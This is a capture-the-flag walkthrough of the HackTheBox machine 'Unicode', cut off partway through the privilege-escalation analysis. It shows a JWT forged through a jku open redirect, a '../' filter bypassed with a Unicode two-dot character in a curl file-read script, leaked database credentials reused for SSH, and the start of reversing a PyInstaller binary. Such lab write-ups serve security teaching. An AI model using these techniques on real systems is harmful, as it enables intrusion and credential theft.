HTB: Unicode
Unicode’s name reflects the need to bypass web filtering of input by abusing unicode characters, and how they are normalized to abuse a directory traversal bug. There’s also some neat JWT abuse, targeting the RSA signed versions and using an open redirect to trick the server into trusting a public key I host. To escalate, there’s some parameter injection in a PyInstaller-built ELF file.
Box Info
Name | Unicode Play on HackTheBox |
---|---|
Release Date | 27 Nov 2021 |
Retire Date | 07 May 2022 |
OS | Linux |
Base Points | Medium [30] |
Rated Difficulty | |
Radar Graph | |
00:47:14 |
|
01:35:43 |
|
Creator |
Recon
nmap
nmap
finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.126
Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-05 17:49 UTC
Nmap scan report for 10.10.11.126
Host is up (0.098s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 9.37 seconds
oxdf@hacky$ nmap -p 22,80, -sCV -oA scans/nmap-tcpscripts 10.10.11.126
Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-05 17:50 UTC
Nmap scan report for 10.10.11.126
Host is up (0.092s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-generator: Hugo 0.83.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hackmedia
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.01 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 20.04 focal.
Website - TCP 80
Site
The site is for a threat intelligence company:
The “Login” and “Register” links lead to forms to do just that.
The middle link leads to /redirect/?url=google.com
, which then returns a 302 to http://google.com
.
I’ll create an account and login, it redirects to /dashboard
:
I’ll note at the very bottom it says “Powered By Flask” (presumably the Python framework):
“Buy Now” leads to /pricing/
which has some other pages that don’t seem to have much interaction.
“Upload a Threat Report” presents a simple upload form:
When I browse for a file on my system, it sets the filter to PDF files. If I try to upload anything else, it returns:
On submitting a PDF, it just shows a thank you message:
Tech Stack
I couldn’t find an extension that loaded any of the pages. The login and register pages are /login/
and /register/
respectively.
The HTTP headers don’t help much either:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 05 May 2022 17:53:16 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 2078
My only clue at this point is that the page says it’s powered by Flask, so that seems like the best guess.
When I log in, it sets a long cookie called auth
:
HTTP/1.1 302 FOUND
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 05 May 2022 18:11:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 228
Connection: close
Location: http://10.10.11.126/dashboard/
Set-Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoiMHhkZiJ9.qh4KfXw0uaz2sk6tAFK2gl2doZ2yNcn8iAUnjUNl_1haXNTVG8twfa2UGW11itS2ryFG_tD_Xh1Qy3u0ZhdJqJbkvLinmL4FRfC_pTzmeO8itoGDVmdRQtnZ5bb7ivOQ5QGhvc2GASwVfHtf7D1ocaFdRMNJCfLwUQSIZjFbbBnasdrguY-x7Czhua4Vjgk87wyY8t2OrbIBr1cT5fABzpaV1CijCiT6XpO_tD4xBD8foMhVgF6A5Zdycl4VEzeC0Ygxgw8rjj8j8R7vBQ7iDGsRJPJF6_xva6u3OLjCUqzm2T0XLK_UmpN7EFVQhSC0zk1UKXBj0wzeK8oJve41aQ; Path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/dashboard/">/dashboard/</a>. If not click the link.
That looks like either a JWT or a Flask cookie. Plugging it into jwt.io proves it’s a JWT:
I’ll note the URL in the jku
element. I’ll add hackmedia.htb
to my /etc/hosts
file, but the entire site seem the same when visited that way. I’ll do some fuzzing for subdomains, but not find anything. I’ll come back to the jku
.
Directory Brute Force
I’ll run feroxbuster
against the site:
oxdf@hacky$ feroxbuster -u http://10.10.11.126
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.126
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.0
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
WLD GET 515l 959w 9294c Got 200 for http://10.10.11.126/1dc43cde494d44398a6fcf30242706aa (url length: 32)
WLD GET - - - Wildcard response is static; auto-filtering 9294 responses; toggle this behavior by using --dont-filter
WLD GET 515l 959w 9294c Got 200 for http://10.10.11.126/d7ab2575188744d58f034faee736581fe97b269bdbb04fe7a928739894e35db448f1b3ce8650468d8a62fcfaf8adf318 (url length: 96)
308 GET 4l 24w 264c http://10.10.11.126/checkout => http://10.10.11.126/checkout/
308 GET 4l 24w 258c http://10.10.11.126/error => http://10.10.11.126/error/
308 GET 4l 24w 262c http://10.10.11.126/pricing => http://10.10.11.126/pricing/
[####################] - 3m 120000/120000 0s found:5 errors:1
[####################] - 3m 30002/30000 157/s http://10.10.11.126
[####################] - 3m 30000/30000 157/s http://10.10.11.126/checkout
[####################] - 3m 30000/30000 157/s http://10.10.11.126/error
[####################] - 3m 30000/30000 158/s http://10.10.11.126/pricing
It’s interesting that there’s a wildcard response, and it missed most of the pages I already know about. Nothing new, regardless.
Shell as code
Admin Access To Site
JWT Background
Most of the time that I’ve shown JWTs before, they’ve used the HS256
algorithm. This is a symmetric algorithm, using a keyed SHA256 hash signature, so the key or secret is the same for signing and validating. This makes sense for a case where I’m authenticating to the same site that issued the token.
However, there are times that one site may want to use a token from another site. Maybe there’s an ecosystem of applications, and they don’t want to manage having to keep the secret’s synced across all these applications, but they do want to be able to look at a token granted by one and trust it. That’s where the RS256
algorithm would come it. It uses a public and private key pair, signing the token with the private key, and then validating that signature with the public key. This means that the public key can be publicly available on the website, and anyone can validate that the token is legit.
Because this app ecosystem might have lots of possible key-pairs that are trusted, each token can use the jku
claim to show where the private key is. Because this is coming from the user, it’s the validating server’s responsibility to decide if it would trust the given jku
.
jwks.json
The jku
in the token from Unicode is http://hackmedia.htb/static/jwks.json
. It’s a simple JSON object, with a list (in this case only one in that list) of some metadata about the algorithm, and the n
and e
, two elements that make up the public key in RSA:
Change jku
I’m going to try to get Unicode to validate a JWT using a public key on my webserver. If that works, then I’ll generate an RSA key pair and try to trick Unicode into trusting a token I forge.
Typically I drop into Python and use PyJWT to manipulate JWTs, but in this case, I just want to change the jku
, and I’m not worried about the signature (yet), so I’ll just use base64
with bash
(as a JWT is just three base64 encoded string combined with .
):
oxdf@hacky$ echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ==" | base64 -d
{"typ":"JWT","alg":"RS256","jku":"http://hackmedia.htb/static/jwks.json"}
I did add some padding to the end (JWTs strip that) to get it to not complain about invalid input.
I’ll change the jku
:
oxdf@hacky$ echo '{"typ":"JWT","alg":"RS256","jku":"http://10.10.14.6/jwks.json"}' | base64 -w0
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMC4xMC4xNC42L2p3a3MuanNvbiJ9Cg==
I’ll replace the first section of my JWT in Firefox, and refresh /dashboard
:
There’s no hit on my webserver. Because it didn’t even try to get the public key, it can’t be an issue with the signing being invalid (it needs to public key to know that). This must mean that the server isn’t trusting my host as a place to serve the public key.
Open Redirect
I noted at the start the link to /redirect/?url=google.com
. This is useful because it’s a URL on hackmedia.htb
, which means that perhaps the site will trust it returns a public key. I’ll update the jku
to be http://hackmedia.htb/redirect/?url=10.10.14.6/jwks.json
:
oxdf@hacky$ echo -n '{"typ":"JWT","alg":"RS256","jku":"http://hackmedia.htb/redirect/?url=10.10.14.6/jwks.json"}' | base64 -w0
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3JlZGlyZWN0Lz91cmw9MTAuMTAuMTQuNi9qd2tzLmpzb24ifQ==
Putting that into Firefox returns 404, but with the URL of http://10.10.14.6/jwks.json
. This still doesn’t work (no contact at my webserver).
What if the site is looking for something to start with hackmedia.htb/static
? I’ll try that:
oxdf@hacky$ echo -n '{"typ":"JWT","alg":"RS256","jku":"http://hackmedia.htb/static/../redirect
/?url=10.10.14.6/jwks.json"}' | base64 -w0
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8/dXJsPTEwLjEwLjE0LjYvandrcy5qc29uIn0=
Updating the cookie and refreshing /dashboard
, there’s a hit on my webserver:
oxdf@hacky$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.126 - - [05/May/2022 19:39:45] code 404, message File not found
10.10.11.126 - - [05/May/2022 19:39:45] "GET /jwks.json HTTP/1.1" 404 -
And then the browser shows the login form (interestingly, it is still at /dashboard
). This is a great indicator that it will trust the public key I serve here.
Generate Key Pairs
This link from Akamai shows the commands to generate an RSA key pair:
oxdf@hacky$ openssl genrsa -out jwtRSA256-private.pem
Generating RSA private key, 2048 bit long modulus (2 primes)
...............................+++++
.......................+++++
e is 65537 (0x010001)
oxdf@hacky$ openssl rsa -in jwtRSA256-private.pem -pubout -outform PEM -out jwtRSA256-public.pem
writing RSA key
The first command I removed the number when openssl
said there were extra arguments.
Now the next page shows how to generate a JWT using openssl
, but I’ll just jump back to jwt.io:
The public and private keys are loaded into the signature bit, and the data looks good. I’ll load that into Firefox and verify it still hits my server:
10.10.11.126 - - [05/May/2022 19:49:59] code 404, message File not found
10.10.11.126 - - [05/May/2022 19:49:59] "GET /jwks.json HTTP/1.1" 404 -
jwks.json
To full use this key, I need to create a jwks.json
file that matches this new key.
I’ll download the existing public key file into a directory I’m hosting with python3 -m http.server 80
:
oxdf@hacky$ wget http://hackmedia.htb/static/jwks.json
--2022-05-05 18:47:07-- http://hackmedia.htb/static/jwks.json
Resolving hackmedia.htb (hackmedia.htb)... 10.10.11.126
Connecting to hackmedia.htb (hackmedia.htb)|10.10.11.126|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 544 [application/json]
Saving to: ‘jwks.json’
jwks.json 100%[=======================================================>] 544 --.-KB/s in 0s
2022-05-05 18:47:07 (74.4 MB/s) - ‘jwks.json’ saved [544/544]
The only thing I need to change are the n
and e
values.
openssl
will give these:
oxdf@hacky$ openssl rsa -in jwtRSA256-public.pem -pubin -text -noout
RSA Public-Key: (2048 bit)
Modulus:
00:b7:45:d7:10:28:f0:17:62:ad:b0:1c:f3:00:32:
95:46:df:a3:33:64:a2:a4:89:82:52:5d:13:e2:ff:
e8:5a:d2:ec:92:32:ed:d1:12:80:c9:00:77:6b:f5:
59:6a:81:99:89:6f:64:20:20:5c:f1:9d:e7:80:dd:
a6:05:fd:27:17:4b:13:70:8c:6d:20:a8:95:c4:4c:
0f:e2:46:48:a7:7b:04:af:f1:f6:74:39:9a:83:d0:
74:54:44:e1:29:48:fb:2b:9b:90:9c:4a:7c:01:fd:
75:34:5a:60:3d:a7:c5:38:3b:15:b7:d5:21:1d:ac:
a1:18:0e:76:02:f9:ae:d5:11:46:fd:60:e4:89:4b:
69:1d:d2:56:6f:54:c8:0d:a9:59:08:50:36:d6:f3:
81:fb:c7:e7:a4:b2:ab:3c:88:76:74:42:f4:f0:04:
d6:a1:3a:44:e1:96:eb:25:30:d4:fc:62:7c:9e:f3:
dd:d9:c5:e1:01:3c:e4:20:c1:f7:cb:53:1d:40:de:
4b:0a:f0:d9:93:ee:3e:fa:ef:ac:ea:6e:71:bd:ed:
f8:99:06:c3:c0:cc:5f:2e:28:3f:5a:b4:6f:a1:d1:
16:45:92:f8:21:49:09:92:b1:12:3d:8a:ee:a3:4c:
ea:b8:6e:2f:3b:ff:13:64:68:45:9c:69:c9:11:31:
68:77
Exponent: 65537 (0x10001)
The modulus is n
, and the Exponent is e
. I still need to get them into the format used in jwks.json
. If I look ate
, it’s AQAB
. That looks like base64, and is:
oxdf@hacky$ echo "AQAB" | base64 -d | xxd -p
010001
So rather than showing it as a number, it’s raw bytes base64-encoded. The exponent for both the original and my private key is 0x10001 (which is very common). So I just need n
.
I’ll use grep
to get just the lines with the modulus:
oxdf@hacky$ openssl rsa -in jwtRSA256-public.pem -pubin -text -noout | grep "^ "
00:b7:45:d7:10:28:f0:17:62:ad:b0:1c:f3:00:32:
95:46:df:a3:33:64:a2:a4:89:82:52:5d:13:e2:ff:
e8:5a:d2:ec:92:32:ed:d1:12:80:c9:00:77:6b:f5:
59:6a:81:99:89:6f:64:20:20:5c:f1:9d:e7:80:dd: a6:05:fd:27:17:4b:13:70:8c:6d:20:a8:95:c4:4c:
0f:e2:46:48:a7:7b:04:af:f1:f6:74:39:9a:83:d0: 74:54:44:e1:29:48:fb:2b:9b:90:9c:4a:7c:01:fd: 75:34:5a:60:3d:a7:c5:38:3b:15:b7:d5:21:1d:ac: a1:18:0e:76:02:f9:ae:d5:11:46:fd:60:e4:89:4b: 69:1d:d2:56:6f:54:c8:0d:a9:59:08:50:36:d6:f3:
81:fb:c7:e7:a4:b2:ab:3c:88:76:74:42:f4:f0:04:
d6:a1:3a:44:e1:96:eb:25:30:d4:fc:62:7c:9e:f3:
dd:d9:c5:e1:01:3c:e4:20:c1:f7:cb:53:1d:40:de:
4b:0a:f0:d9:93:ee:3e:fa:ef:ac:ea:6e:71:bd:ed:
f8:99:06:c3:c0:cc:5f:2e:28:3f:5a:b4:6f:a1:d1:
16:45:92:f8:21:49:09:92:b1:12:3d:8a:ee:a3:4c:
ea:b8:6e:2f:3b:ff:13:64:68:45:9c:69:c9:11:31:
68:77
tr -d
to delete colons, spaces, and newlines:
df@hacky[~/hackthebox/unicode-10.10.11.126]$ openssl rsa -in jwtRSA256-public.pem -pubin -text -noout |
> grep "^ " |
> tr -d ': \n'
00b745d71028f01762adb01cf300329546dfa33364a2a48982525d13e2ffe85ad2ec9232edd11280c900776bf5596a8199896f6420205cf19de780dda605fd27174b13708c6d20a895c44c0fe24648a77b04aff1f674399a83d0745444e12948fb2b9b909c4a7c01fd75345a603da7c5383b15b7d5211daca1180e7602f9aed51146fd60e4894b691dd2566f54c80da959085036d6f381fbc7e7a4b2ab3c88767442f4f004d6a13a44e196eb2530d4fc627c9ef3ddd9c5e1013ce420c1f7cb531d40de4b0af0d993ee3efaefacea6e71bdedf89906c3c0cc5f2e283f5ab46fa1d1164592f821490992b1123d8aeea34ceab86e2f3bff136468459c69c911316877
That’s the modulus in hex. I’ll convert that to raw bytes using xxd
, and then base64 encode it:
oxdf@hacky$ openssl rsa -in jwtRSA256-public.pem -pubin -text -noout |
> grep "^ " |
> tr -d ': \n' |
> xxd -r -p |
> base64 -w0
ALdF1xAo8BdirbAc8wAylUbfozNkoqSJglJdE+L/6FrS7JIy7dESgMkAd2v1WWqBmYlvZCAgXPGd54DdpgX9JxdLE3CMbSColcRMD+JGSKd7BK/x9nQ5moPQdFRE4SlI+yubkJxKfAH9dTRaYD2nxTg7FbfVIR2soRgOdgL5rtURRv1g5IlLaR3SVm9UyA2pWQhQNtbzgfvH56SyqzyIdnRC9PAE1qE6ROGW6yUw1PxifJ7z3dnF4QE85CDB98tTHUDeSwrw2ZPuPvrvrOpucb3t+JkGw8DMXy4oP1q0b6HRFkWS+CFJCZKxEj2K7qNM6rhuLzv/E2RoRZxpyRExaHc=
I’ll update that value in jwks.json
.
On refreshing in Firefox, I’m back at /dashboard
, logged in as 0xdf. So I haven’t actually made progress to another user, but I’ve shown that I can sign a token saying I’m 0xdf, and have the site trust me.
admin Token
I wanted to start with a user I know exists to make sure that if I had issues, it couldn’t be because I forged a token for a user that doesn’t exist. Now that I’ve proven I can do it, I’ll try other users.
If I try to register as admin, it returns a helpful error message (even with typos):
I’ll change my token username to admin in jwt.io, update the cookie in Firefox, and refresh /dashboard
. There’s a hit at my webserver for the jwks.json
file, and then a brand new page I haven’t seen before:
Local File Read
Admin Dashboard
The dashboard is mostly just dummy data. The “Current month” link under “Saved reports” points to /display/?page=monthly.pdf
, and “Last quarter” points /display/?page=quarterly.pdf
.
Clicking on either returns:
Directory Traversal Attempt
The structure of that URL suggests it is trying to load a file from the file system. I want to see if I can read outside the current directory. Visiting /display/?page=/etc/passwd
returns a 302 redirect to /filenotfound/
:
“we do a lot input filtering you can never bypass our filters.Have a good day” is the message. That’s different from a typically message for a missing page. For example, if I visit /0xdf
:
It doesn’t redirect, and just displays this similar but different page. I’ll play around with some other inputs to get a feel for what’s filtered, and when I try /display/?page=/var/log/apache2/error.log
, I get yet another error message:
So that one perhaps isn’t filtered, but just doesn’t find the file? If that’s the case, it’s likely that I need a relative path, because the webserver is prepending some path before my input.
Identify Block List
I’ll play with different inputs ..
returns the “.. Not Found” message (likely not blocked). “../” gives the message about filtering. “./” is not blocked. So it seems to be the full string “../” that is on the block list. More tests:
Input | Result |
---|---|
.. |
Not blocked |
./ |
Not blocked |
../ |
Blocked |
/et |
Not blocked |
/etc |
Blocked |
et |
Not blocked |
etc |
Blocked |
..etc |
Not blocked |
var |
Not blocked |
/var |
Blocked |
It seems to key on some key directories at the start, as well as ../
. I don’t care so much about the key directories, as my hypothesis is that that won’t work anyway.
Unicode
Given the box name, and the need to bypass a filter, I’m going to look for unicode normalization bugs. This post does a really nice job explaining how they work.
The challenge is that there are a lot of unicode characters that to the eye look exactly the same as ASCII characters, but are technically different. If you want your site to handle these characters as the user expects (likely that they do the same thing as their ASCII counterparts), then you can use a normalization function to convert them back to the equivalent ASCII.
If the normalization happens after the WAF / blocking function, then this can be a way to bypass the block. Typically WAFs are run on separate systems from the application itself, and therefore before the normalization.
One example in the post above is (U+2025), which is this character: ‥
. It looks like two dots, but it’s one unicode character. When it’s normalized, it becomes two ASCII periods.
If I visit /display/?page=‥/‥/‥/etc/passwd
, it returns the not found message (so not blocked):
With one more set of ‥/
:
Script
To make enumeration easier, I’ll move to curl
. Copying the URL and pasting it shows the encoded unicode characters:
oxdf@hacky$ curl 'http://hackmedia.htb/display/?page=%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/etc/passwd' --cookie "auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjYvandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.aTCL_Z8Qqbtdb-V9AbPIwczs1_IGSWzTrgqDrh0s9XPOSYF2YBbTOaOoYG0GC4ZtoXFmxm3o1MNevmG-4HHxYlTISZGaGIMISkxSFW6G-7aO4cUf8N1B6vQsMzoZbmFXJ1CXUFWANLqTj0POtVaebD9u_5Pet9cgvLfr0q8SqoSmfYGRLk6k4P9y7PPjDOflrFq1lcsygWXtBtEhgrSnzrnaxYq5iMGIpWMO4JAlrwlW58HuHi-5kiUUxt7rb_iHSCcVPKYZ9DBe0AByEynarJNLbv70jca5WZlGSER6t5kDebtoD5qgpJJxihjR7F4Nh_-glqPX8lMlkshRJh13Tg"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...[snip]...
code:x:1000:1000:,,,:/home/code:/bin/bash
%E2%80%A5
must be ‥
.
I’ll create a short bash
script:
#!/bin/bash
cookie="auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjYvandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.aTCL_Z8Qqbtdb-V9AbPIwczs1_IGSWzTrgqDrh0s9XPOSYF2YBbTOaOoYG0GC4ZtoXFmxm3o1MNevmG-4HHxYlTISZGaGIMISkxSFW6G-7aO4cUf8N1B6vQsMzoZbmFXJ1CXUFWANLqTj0POtVaebD9u_5Pet9cgvLfr0q8SqoSmfYGRLk6k4P9y7PPjDOflrFq1lcsygWXtBtEhgrSnzrnaxYq5iMGIpWMO4JAlrwlW58HuHi-5kiUUxt7rb_iHSCcVPKYZ9DBe0AByEynarJNLbv70jca5WZlGSER6t5kDebtoD5qgpJJxihjR7F4Nh_-glqPX8lMlkshRJh13Tg"
file=$1
curl "http://hackmedia.htb/display/?page=%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/$file" --cookie "$cookie" -s -o-
-s
will hide the progress bars, and -o-
will output to STDOUT even for binary output.
It works:
oxdf@hacky$ ./read_file.sh /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.3 LTS"
Enumerate Application Source
Locate Source - /proc
Since I’m executing through the webapp, I’ll look at /proc/self
to get an understand of where it’s running from. I went into detail about /proc
recently in the Backdoor post.
I’ll start by reading cmdline
, replacing null bytes with spaces:
oxdf@hacky$ ./read_file.sh /proc/self/cmdline | tr '\000' ' '
/usr/local/bin/uwsgi --socket localhost:8000 --protocol=http -w wsgi:app --workers 100
So uwsgi
is the webserver here, hosting the Flask Python app. -w wsgi:app
is loading from wsgi.py
an object named app
.
I don’t have a path to where that is located. I can look at environ
for hints (replacing nulls with newlines):
oxdf@hacky$ ./read_file.sh /proc/self/environ | tr '\000' '\n'; echo
LANG=en_US.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOME=/home/code
LOGNAME=code
USER=code
SHELL=/bin/bash
INVOCATION_ID=c168a3de6e1249b49bec588ff0426a9c
JOURNAL_STREAM=9:34023
It might be in /home/code
, but no luck:
oxdf@hacky$ ./read_file.sh /home/code/wsgi.py
<html>
<head>
<style>
html,
body {
height: 100%;
width: 100%;
margin: 0px;
background: linear-gradient(90deg, rgba(47,54,64,1) 23%, rgba(24,27,32,1) 100%);
}
...[snip]...
<h3>../../../..//home/code/wsgi.py Not found</h3>
...[snip]...
The returned stuff is HTML, but it’s the 404 page saying the file isn’t found.
I’ll try /proc/self/cwd/wsgi.py
. cwd
is a symbolic link to the current working directory. It works:
from app import app
from werkzeug.debug import DebuggedApplication
if __name__ == "__main__":
app.run()
wsgi.py
is a simple script that’s importing an app
object from from app
(which means app.py
). I’ll pull app.py
:
oxdf@hacky$ ./read_file.sh /proc/self/cwd/app.py
import base64
from MySQLdb import cursors
from flask import Flask, abort, request,render_template,make_response,redirect
from werkzeug.utils import secure_filename
import unicodedata
...[snip]...
This is the main application.
Locate Source - Relative
An alternative way to find the source is to work relative to the working directory. I suspect the application is Python, and app.py
and main.py
are common filenames. I’ll try page=app.py
, and it returns not found. That makes sense, as , typically static files like PDFs are not loaded from the application root, but rather like a files
folder, or maybe a static/files
folder. I’ll try one folder up, and page=%E2%80%A5/app.py
returns the page.
Credentials
I’ll start to look for potentially exploitable paths, but right a the top something jumps out:
db=yaml.load(open('db.yaml'))
app.config['MYSQL_HOST']= db['mysql_host']
app.config['MYSQL_USER']=db['mysql_user']
app.config['MYSQL_PASSWORD']=db['mysql_password']
app.config['MYSQL_DB']=db['mysql_db']
app.debug=True
This is reading the DB connection information from db.yaml
. I’ll grab that file:
oxdf@hacky$ ./read_file.sh /proc/self/cwd/db.yaml
mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"
SSH
The DB creds are for a user, code, and that same user is in /etc/passwd
. I’ll try those creds over SSH, and they work:
oxdf@hacky$ sshpass -p 'B3stC0d3r2021@@!' ssh code@hackmedia.htb
...[snip]...
code@code:~$
code can read user.txt
:
code@code:~$ cat user.txt
d907ddec************************
Shell as root
Enumeration
sudo -l
shows a file that code can run as root:
code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport
Running the program, it presents a menu:
code@code:~$ treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:
I’ll try 2, and it errors out:
Enter your choice:2
Traceback (most recent call last):
File "treport.py", line 76, in <module>
File "treport.py", line 17, in list_files
PermissionError: [Errno 13] Permission denied: '/root/reports/'
[1588] Failed to execute script 'treport' due to unhandled exception!
There’s a couple interesting things here. For one, it’s trying to read /root/reports/
. The exception shows it’s actually a Python application.
Running file
shows it’s actually an ELF:
code@code:~$ file /usr/bin/treport
/usr/bin/treport: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f6af5bc244c001328c174a6abf855d682aa7401b, for GNU/Linux 2.6.32, stripped
This must be bundled with an application like Pyinstaller.
I’ll pull a copy of this binary back to my host.
Reverse treport
Identify Framework
I’ll run strings
on the binary to look for clues about what kind of packager was used to go from Python to an ELF. I’ll notice a lot of strings with pyi
:
oxdf@hacky$ strings treport | grep -i pyi
Error copying %s
_pyi_main_co
_PYI_PROCNAME
PyImport_AddModule
PyImport_ExecCodeModule
PyImport_ImportModule
Cannot dlsym for PyImport_AddModule
Cannot dlsym for PyImport_ExecCodeModule
Cannot dlsym for PyImport_ImportModule
pyi-
pyi-runtime-tmpdir
pyi-bootloader-ignore-signals
LOADER: failed to allocate argv_pyi: %s
PyIb
mpyimod01_os_path
mpyimod02_archive
mpyimod03_importers
mpyimod04_ctypes
spyiboot01_bootstrap
spyi_rth_pkgutil
spyi_rth_multiprocessing
spyi_rth_inspect
These remind me of the binary from funware at CactusCon 2022. Googling for “_pyi_main_co” returns a link to the pyinstaller GitHub:
Seems like it could be PyInstaller.
Extract pyc Files
I’ll use a tool called PyInstaller Extractor, or pyinstxtractor.py
to pull out the various libraries and Python byte code files from the ELF:
oxdf@hacky$ python /opt/pyinstxtractor/pyinstxtractor.py treport
[+] Processing treport
[+] Pyinstaller version: 2.1+
[+] Python version: 38
[+] Length of package: 6798297 bytes
[+] Found 46 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: treport.pyc
[+] Found 223 files in PYZ archive
[+] Successfully extracted pyinstaller archive: treport
You can now use a python decompiler on the pyc files within the extracted directory
If my Python version doesn’t match up with the one used to build the original, then it will warn me of that. I went through that in funware, but I don’t have to here.
There’s noq a folder of the various extracted files:
oxdf@hacky$ ls treport_extracted/
base_library.zip libffi.so.7 libssl.so.1.1 pyimod02_archive.pyc pyi_rth_pkgutil.pyc
libbz2.so.1.0 liblzma.so.5 libtinfo.so.6 pyimod03_importers.pyc PYZ-00.pyz
libcrypto.so.1.1 libmpdec.so.2 libz.so.1 pyimod04_ctypes.pyc PYZ-00.pyz_extracted
lib-dynload libpython3.8.so.1.0 pyiboot01_bootstrap.pyc pyi_rth_inspect.pyc struct.pyc
libexpat.so.1 libreadline.so.8 pyimod01_os_path.pyc pyi_rth_multiprocessing.pyc treport.pyc
Recover .py Files
uncompyle6 will recover the original Python files from a .pyc
file. I’ll install it with pipx install uncompyle6
(or pip
, but pipx
is a really nice way to install Python applications), and then point it at the main file:
oxdf@hacky$ uncompyle6 treport_extracted/treport.pyc > treport.py
Python Analysis
The main part of the recovered Python is the menu:
if __name__ == '__main__':
obj = threat_report()
print('1.Create Threat Report.')
print('2.Read Threat Report.')
print('3.Download A Threat Report.')
print('4.Quit.')
check = True
if check:
choice = input('Enter your choice:')
try:
choice = int(choice)
except:
print('Wrong Input')
sys.exit(0)
else:
if choice == 1:
obj.create()
elif choice == 2:
obj.list_files()
obj.read_file()
elif choice == 3:
obj.download()
elif choice == 4:
check = False
else:
print('Wrong input.')
It create a treat_report
object, prints the menu, reads the input, and calls the associated function.
The threat_report
class is defined above. Option 1 calls create
, which prompts for a filename and content, and writes the content to the file name:
def create(self):
file_name = input('Enter the filename:')
content = input('Enter the report:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
file_path = '/root/reports/' + file_name
with open(file_path, 'w') as (fd):
fd.write(content)
Because it looks for ../
in the file name, I don’t see a good way to get outside of the reports
directory.
Option 2 calls list_files()
and then read_file()
:
def list_files(self):
file_list = os.listdir('/root/reports/')
files_in_dir = ' '.join([str(elem) for elem in file_list])
print('ALL THE THREAT REPORTS:')
